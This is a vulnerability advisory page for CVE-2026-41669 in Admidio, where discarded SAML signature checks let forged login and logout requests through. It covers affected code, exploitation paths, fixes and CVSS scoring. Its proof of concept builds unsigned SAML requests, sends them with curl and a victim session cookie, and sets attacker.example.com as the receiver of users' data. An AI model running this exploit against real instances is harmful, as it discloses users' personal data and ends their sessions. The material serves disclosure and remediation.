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CVE-2026-41669 — Vulnerability in admidio/admidio — CVE Details

HIGH

Admidio Ignores SAML Signature Validation Result, Processes Forged AuthnRequests and LogoutRequests

Published April 29, 2026Updated May 8, 2026Source: osv

Summary

## Summary The Admidio SAML Identity Provider implementation discards the return value of its `validateSignature()` method at both call sites (`handleSSORequest()` line 418 and `handleSLORequest()` line 613). The method returns error strings on failure rather than throwing exceptions, but the developer believed it would throw (per comments on lines 416 and 611). This means the `smc_require_auth_signed` configuration option is completely ineffective — unsigned or invalidly-signed SAML AuthnRequests and LogoutRequests are processed identically to properly signed ones. ## Details The `validateSignature()` method at `src/SSO/Service/SAMLService.php:355` has three possible return paths: ```php // Line 355-392 public function validateSignature(SAMLClient $client, SamlMessage $message, bool $required = false): bool|string { global $gL10n; $certPem = $client->getValue('smc_x509_certificate'); if (!$certPem) { if ($required) { return $gL10n->get('SYS_SSO_SAML_SIGNATURE_KEY_MISSING'); // Returns STRING, not throw } else { return false; } } // ... $signatureReader = $message->getSignature(); if (is_null($signatureReader)) { if ($required) { return $gL10n->get('SYS_SSO_SAML_SIGNATURE_MISSING'); // Returns STRING, not throw } else { return false; } } try { $ok = $signatureReader->validate($key); if ($ok) { return true; } else { return $gL10n->get('SYS_SSO_SAML_SIGNATURE_FAILED'); // Returns STRING, not throw } } catch (Exception $ex) { return $gL10n->get('SYS_SSO_SAML_SIGNATURE_FAILED'); // Returns STRING, not throw } } ``` Both call sites discard the return value entirely: ```php // Line 416-419 in handleSSORequest() // Validate signatures. Will throw an exception <-- INCORRECT COMMENT if ($client->getValue('smc_require_auth_signed') || $client->getValue('smc_validate_signatures')) { $this->validateSignature($client, $request, $client->getValue('smc_require_auth_signed')); // Return value discarded — execution continues regardless of validation result } // Line 611-614 in handleSLORequest() // Validate signatures. Will throw an exception <-- INCORRECT COMMENT if ($client->getValue('smc_require_auth_signed') || $client->getValue('smc_validate_signatures')) { $this->validateSignature($client, $request, $client->getValue('smc_require_auth_signed')); // Return value discarded — execution continues regardless of validation result } ``` **SSO exploitation path** (for already-logged-in users): 1. `modules/sso/index.php:92` routes to `handleSSORequest()` 2. Line 403: `receiveMessage()` parses SAML binding directly from HTTP GET/POST — no authentication required 3. Line 408-409: Entity ID extracted from the forged request's Issuer element, client config loaded 4. Line 417-419: Signature validation called but return value discarded — flow continues 5. Line 421: `$gValidLogin` is true for logged-in users, so login form is skipped 6. Lines 438-580: SAML Response built with user's real attributes (login, name, email, roles) and sent to the `AssertionConsumerServiceURL` from the forged request **SLO exploitation path**: 1. `modules/sso/index.php:94` routes to `handleSLORequest()` 2. Line 613: Signature validation discarded 3. Lines 621-629: User's session is deleted from the database and `$gCurrentSession->logout()` is called ## PoC ```bash # Prerequisites: # - Admidio instance with SAML SSO enabled (sso_saml_enabled=1) # - At least one registered SAML SP client with smc_require_auth_signed=true # - A user with an active session (e.g., admin browsing the Admidio panel) # 1. Generate an unsigned AuthnRequest impersonating a registered SP: AUTHN_REQUEST=$(python3 -c " import base64, zlib req = '<samlp:AuthnRequest xmlns:samlp=\"urn:oasis:names:tc:SAML:2.0:protocol\" xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\" ID=\"_fake123\" Version=\"2.0\" IssueInstant=\"2026-03-27T00:00:00Z\" AssertionConsumerServiceURL=\"https://attacker.example.com/acs\"><saml:Issuer>https://legitimate-sp.example.com/entity-id</saml:Issuer></samlp:AuthnRequest>' print(base64.b64encode(zlib.compress(req.encode())[2:-4]).decode()) ") # 2. Send the unsigned request via HTTP-Redirect binding (GET): # If a logged-in user's browser follows this link (e.g., via CSRF/social engineering), # Admidio generates a signed SAML assertion with the user's PII and sends it # to the attacker-controlled ACS URL. curl -v "https://admidio.example.org/adm_program/modules/sso/index.php/saml/sso?SAMLRequest=${AUTHN_REQUEST}" \ -b 'PHPSESSID=VICTIM_SESSION_COOKIE' # Expected: Despite smc_require_auth_signed=true, the unsigned request is processed. # The response contains a SAML assertion with the victim's attributes. # 3. For SLO — forge a LogoutRequest to terminate a victim's session: LOGOUT_REQUEST=$(python3 -c " import base64, zlib req = '<samlp:LogoutRequest xmlns:samlp=\"urn:oasis:names:tc:SAML:2.0:protocol\" xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\" ID=\"_fake456\" Version=\"2.0\" IssueInstant=\"2026-03-27T00:00:00Z\"><saml:Issuer>https://legitimate-sp.example.com/entity-id</saml:Issuer><saml:NameID>victim@example.com</saml:NameID></samlp:LogoutRequest>' print(base64.b64encode(zlib.compress(req.encode())[2:-4]).decode()) ") curl -v "https://admidio.example.org/adm_program/modules/sso/index.php/saml/slo?SAMLRequest=${LOGOUT_REQUEST}" \ -b 'PHPSESSID=VICTIM_SESSION_COOKIE' # Expected: Victim's session is terminated, logout cascaded to all registered SPs. ``` ## Impact - **Signature enforcement bypass**: The `smc_require_auth_signed` setting is entirely ineffective. Administrators who enable this setting believing it protects against forged requests have a false sense of security. - **User attribute disclosure (SSO)**: When combined with the ability to specify an arbitrary `AssertionConsumerServiceURL`, an attacker can redirect a logged-in user's SAML assertion (containing login name, email, real name, role memberships) to an attacker-controlled endpoint. - **Session termination (SLO)**: An attacker can forge LogoutRequests to terminate any user's Admidio session and trigger cascading single logout across all registered Service Providers, causing denial of service for targeted users. - **Amplifies ACS URL injection**: The signature requirement was the primary defense against unvalidated ACS URLs in AuthnRequests. Without signature enforcement, the ACS redirect becomes trivially exploitable via GET redirect binding (which bypasses SameSite=Lax cookie restrictions). ## Recommended Fix Check the return value of `validateSignature()` and throw on failure. In `src/SSO/Service/SAMLService.php`, fix both call sites: ```php // In handleSSORequest(), replace lines 416-419: // Validate signatures if ($client->getValue('smc_require_auth_signed') || $client->getValue('smc_validate_signatures')) { $result = $this->validateSignature($client, $request, (bool)$client->getValue('smc_require_auth_signed')); if ($result !== true && $result !== false) { // $result is an error message string — validation failed throw new Exception($result); } } // In handleSLORequest(), replace lines 611-614 with the same pattern: if ($client->getValue('smc_require_auth_signed') || $client->getValue('smc_validate_signatures')) { $result = $this->validateSignature($client, $request, (bool)$client->getValue('smc_require_auth_signed')); if ($result !== true && $result !== false) { throw new Exception($result); } } ``` Alternatively, refactor `validateSignature()` to throw exceptions on failure (matching the developer's original intent as documented in the comments), which would make both call sites correct as-is: ```php public function validateSignature(SAMLClient $client, SamlMessage $message, bool $required = false): bool { global $gL10n; $certPem = $client->getValue('smc_x509_certificate'); if (!$certPem) { if ($required) { throw new Exception($gL10n->get('SYS_SSO_SAML_SIGNATURE_KEY_MISSING')); } return false; } // ... (same cert loading logic) ... $signatureReader = $message->getSignature(); if (is_null($signatureReader)) { if ($required) { throw new Exception($gL10n->get('SYS_SSO_SAML_SIGNATURE_MISSING')); } return false; } try { if (!$signatureReader->validate($key)) { throw new Exception($gL10n->get('SYS_SSO_SAML_SIGNATURE_FAILED')); } return true; } catch (Exception $ex) { throw new Exception($gL10n->get('SYS_SSO_SAML_SIGNATURE_FAILED')); } } ```

Advisory Timeline

  • First published April 29, 2026 (166 days ago).
  • Last revised May 8, 2026 — 9 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Composer
Update admidio/admidio to 5.0.9 or later
composer require "admidio/admidio:^5.0.9"

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: packagist (1).

PackageEcosystemAffectedFixed In
admidio/admidio
packagist
4.1.0, 4.1.3, v4.2-Beta.1, v4.2-Beta.2 (+50 more)5.0.9

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-347
    Improper Verification of Cryptographic SignatureMITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 8.2 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
High
Availability
None

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N

Frequently Asked Questions

What is CVE-2026-41669?
Admidio Ignores SAML Signature Validation Result, Processes Forged AuthnRequests and LogoutRequests This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.2/10).
How do I check if my project is affected by CVE-2026-41669?
CVE-2026-41669 affects admidio/admidio. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-41669 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
8.2

High exploitability or significant impact. Prioritize remediation within days.

Also Known As

GHSA-25cw-98hg-g3cg

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